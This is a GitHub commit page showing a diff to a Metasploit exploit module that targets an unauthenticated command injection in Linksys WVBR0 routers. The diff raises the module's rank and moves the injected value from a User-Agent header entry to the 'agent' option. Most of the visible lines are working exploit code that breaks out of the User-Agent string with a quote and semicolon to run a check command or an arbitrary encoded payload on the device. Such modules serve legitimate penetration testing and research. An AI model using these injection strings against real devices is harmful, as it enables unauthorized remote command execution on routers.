Skip to content

Commit 3dfb836

Browse files
committed
Ranking upgrade and uses agent key instead of manually setting user-agent in headers
1 parent b31ac73 commit 3dfb836

File tree

1 file changed

+4
-10
lines changed

1 file changed

+4
-10
lines changed

modules/exploits/linux/http/linksys_wvbr0_user_agent_exec_noauth.rb

Lines changed: 4 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@
44
##
55

66
class MetasploitModule < Msf::Exploit::Remote
7-
Rank = NormalRanking
7+
Rank = ExcellentRanking
88

99
include Msf::Exploit::Remote::HttpClient
1010

@@ -53,9 +53,7 @@ def check
5353
res = send_request_raw({
5454
'method' => 'GET',
5555
'uri' => '/',
56-
'headers' => {
57-
'User-Agent' => "\"; printf \"#{check_str}"
58-
}
56+
'agent' => "\"; printf \"#{check_str}"
5957
})
6058
if res && res.code == 200 && res.body.to_s.include?(Rex::Text.md5(check_str))
6159
return Exploit::CheckCode::Vulnerable
@@ -90,9 +88,7 @@ def exploit_cmd
9088
res = send_request_raw({
9189
'method' => 'GET',
9290
'uri' => '/',
93-
'headers' => {
94-
'User-Agent' => "\"; echo #{beg_boundary}; #{payload.encoded} #"
95-
}
91+
'agent' => "\"; echo #{beg_boundary}; #{payload.encoded} #"
9692
})
9793

9894
if res && res.code == 200 && res.body.to_s =~ /#{beg_boundary}/
@@ -113,9 +109,7 @@ def exploit_session
113109
send_request_raw({
114110
'method' => 'GET',
115111
'uri' => '/',
116-
'headers' => {
117-
'User-Agent' => "\"; #{payload.encoded} #"
118-
}
112+
'agent' => "\"; #{payload.encoded} #"
119113
})
120114
rescue ::Rex::ConnectionError
121115
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")

0 commit comments

Comments
 (0)